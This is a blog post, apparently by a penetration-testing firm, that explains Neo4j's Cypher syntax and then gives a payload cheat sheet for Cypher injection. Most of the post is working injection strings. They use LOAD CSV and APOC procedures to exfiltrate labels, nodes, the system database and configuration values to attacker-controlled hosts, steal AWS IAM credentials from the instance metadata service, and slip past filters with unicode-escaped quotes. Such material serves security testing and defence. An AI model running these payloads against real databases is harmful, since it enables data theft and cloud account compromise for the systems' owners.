Scam Logo

New Era, New Database….

Neo4J is not really new its been available since approximately 2010, when creator and founder Emil Eifrem worked together with an intern from IIT bombay to develop a grpah database platform.

Penetration testers may have had some limited exposure to Neo4J while running and querying Bloodhound(the AD enumeration tool, to graph domain memberships and permissions). Or even from our own previous research from 2021: Graphs Everywhere where we utilised Neo4J to graph malware traffic flows and the Mitre Attack TTPs and threat actors.

So with the uptake in cloud based graph databases, and graphing databases used in business, we thought we would revist the topic of Neo4J and look at some basic attack methodology. As most organisations leave Neo4J in an insecure state…

Cypher

Simple Query

Neo4J’s graph syntax is a bit odd, rounded brackets are used to represent nodes, and square brackets represent relationships. Unlike traditional SQL statements, Cypher supports parameters at the protocol level.

A simple Cypher query in the default Movies database is as simple as

MATCH (a: Person)-[:ACTED_IN]->(m: Movie)<-[:DIRECTED]-(d:Person)

RETURN a, m, d

Simple filter

Filtering queries is as simple as adding a parameter

MATCH (a: Person {name:'Keanu Reeves'})-[:ACTED_IN]->(m: Movie)<-[:DIRECTED]-(d:Person)

RETURN a, m, d

Simple Union

Like traditional SQL Neo4J supports UNION statements

MATCH (a: Person) RETURN a.name UNION RETURN 'Keanu Reeves' as name

Injections

Below is a table showing examples of typicall UNION injections mapped to their SQL counterparts

Injectable query Injection
MATCH (o) WHERE o.Id=’{input}’ ’ OR 1=1 WITH 0 as _l00 {…} RETURN 1 //
MATCH (o) WHERE ‘{input}’ = o.Id ’=’ {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE {input} in [different, values] ’=’ {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a {…} WITH 0 as _l00 RETURN 1 //
MATCH (o) WHERE o:{input} a` {…} WITH 0 as _l00 RETURN 1 //
MATCH (o {id:’{input}’}) ’}) RETURN 1 UNION MATCH (n) {…} RETURN 1 //
MATCH (o:{input}) a) RETURN 1 UNION MATCH (n){…} RETURN 1//
MATCH (o:{input}) a`) RETURN 1 UNION MATCH (n){…} RETURN 1 //
MATCH (o)-[r {id:’{input}’})]-(o2) ’}]-() RETURN 1 UNION MATCH (n){…} RETURN 1//
MATCH (o)-[r:{input}]-(o2) a]-() RETURN 1 UNION MATCH (n){…} RETURN 1 //
MATCH (o)-[r:{input}]-(o2) a`]-() RETURN 1 UNION MATCH (n){…} RETURN 1 //

Data exfiltration

For this example imagine the vulnerable query:

MATCH (o) WHEREo.Id='{input}' RETURN o

As an attacker we can use the above UNION statements togeth with LOAD CSV FROM to send the database to the attackers server:

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

APOC? WTF is APOC?

The first thing an security analyst should check is whether APOC is installed.

APOC (Awesome? Procedures on Cypher) is an extremely popular, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many additional functions and procedures that developers can use in their environment, but therein lies the problem: more power for the developer means more power for the attacker. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.

APOC offers functions that can prove useful for injections. These functions can serialize and encode data, making it much easier to exfiltrate sensitive content.

  • apoc.convert.toJson — converts nodes, maps, and more to JSON
  • apoc.text.base64Encode — gets a string and encodes it as base64 Much more interesting are the procedures that APOC offers. They are a game-changer for attackers.

Also, make note of these interesting procedures and functions that let you evaluate queries:

  • apoc.cypher.runFirstColumnMany — a function that returns the values of the first column as a list
  • apoc.cypher.runFirstColumnSingle — a function that returns the first value of the first column
  • apoc.cypher.run — a procedure that runs a query and returns the results as a map
  • apoc.cypher.runMany — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction. Using the load.*params procedures, an attacker can specify headers, request data, and use different methods other than GET.

apoc.load.jsonParams

Name Type Example Is required
urlOrKeyorBinary Any “http://attacker.com/json” Yes
headers Map or null { method: “POST”, Authorization:”BEARER “ + hacked_token} Yes
payload String or null Data Yes
path String or null Data No
config Map or null Null No

Return values:

Name Description Type Example
value The parsed JSON MAP {“Hello”: “World”}

apoc.load.csvParams

Note: in Neo4j 5, this procedure was moved to APOC extended

Name Type Example Is Required
urlOrKeyorBinary Any “http://attacker.com/json” Yes
headers Map or null { method: “POST”, Authorization:”BEARER “ + hacked_token} Yes
payload String or null Data Yes
config Map or null {header: FALSE} No

Return values:

Name Description Type Example
lineNo The line number of the value Integer 0
list List of values in a row List⟨string⟩ [“a”,”b”,”c”]
map If headers are present, map will map the header with the value Map {“A: “a”}

Exfiltraing data is as simple as:

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0

Some other interesting attack queries:

' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //

'}) RETURN 0 as _0 UNION MATCH (f:Flag)  LOAD CSV FROM 'http://10.0.2.4:8000/?json='+apoc.convert.toJson(f) as l RETURN 0 as _0 //

Server Version

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

List all functions

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

Neo4J 5+

' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //

' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value

 LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //

Steal SYSTEM DB

' OR 1=1 WITH 1 as a  call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //

## ENV

' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //

AWS

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l

WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token RETURN token

CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token

CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role

CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list

Unicode Injection

This is often useful when there’s a WAF. But there are other cases, in which this feature enables exploitation. For example, if the server removes single quotes, and the query looks like the following:

MATCH (a: {name: '$INPUT'}) RETURN a

It is possible to inject:

\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker.com/ "+ label RETURN 0 as _o //

In summary

Neo4j is a powerful tool, used and beloved by developers and security experts. Like all powerful tools, there are risks to consider when using it, risks that most don’t know or understand. We hope this article has helped educate you on the different ways an attacker can abuse Neo4j, so you can assess and mitigate the risks. We also hope this article will aid security experts in improving the security of the systems and apps they evaluate.


Share on: